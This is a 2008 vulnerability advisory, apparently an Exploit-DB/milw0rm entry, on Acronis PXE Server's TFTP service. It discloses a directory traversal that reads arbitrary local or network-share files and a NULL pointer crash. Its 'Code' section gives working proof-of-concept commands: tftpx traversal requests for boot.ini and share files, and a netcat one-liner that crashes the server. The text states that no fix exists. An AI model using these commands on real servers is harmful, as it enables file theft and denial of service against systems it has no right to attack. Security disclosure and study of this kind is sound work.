Acronis PXE Server Directory Traversal and NULL Pointer Vulnerabilities

vendor:

Snap Deploy Server

by:

Luigi Auriemma

7.5

CVSS

HIGH

Directory Traversal and NULL Pointer

22 (Path Traversal) and 476 (NULL Pointer Dereference)

CWE

Product Name: Snap Deploy Server

Affected Version From: 2.0.0.1076

Affected Version To: 2.0.0.1076

Patch Exists: NO

Related CWE: N/A

CPE: a:acronis:snap_deploy_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

Acronis PXE Server Directory Traversal and NULL Pointer Vulnerabilities

The Acronis PXE Server is vulnerable to a classical directory traversal and an arbitrary path attacks which allow an attacker to download any file from the local disks or the network shares. An incomplete TFTP request (anything which goes from the simple absence of the option field to the usage of only the 2 bytes for the opcode) causes the crashing of the PXE Server due to a NULL pointer access.

Mitigation:

No fix.

Source

Exploit-DB raw data:

#######################################################################

                             Luigi Auriemma

Application:  Acronis PXE Server
              http://www.acronis.com/enterprise/products/snapdeploy/
Versions:     <= 2.0.0.1076
Platforms:    Windows
Bugs:         A] directory traversal
              B] NULL pointer
Exploitation: remote
Date:         08 Mar 2008
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.


#######################################################################

=======
2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.


#######################################################################

===========
3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u



#######################################################################

======
4) Fix
======


No fix


#######################################################################

# milw0rm.com [2008-03-10]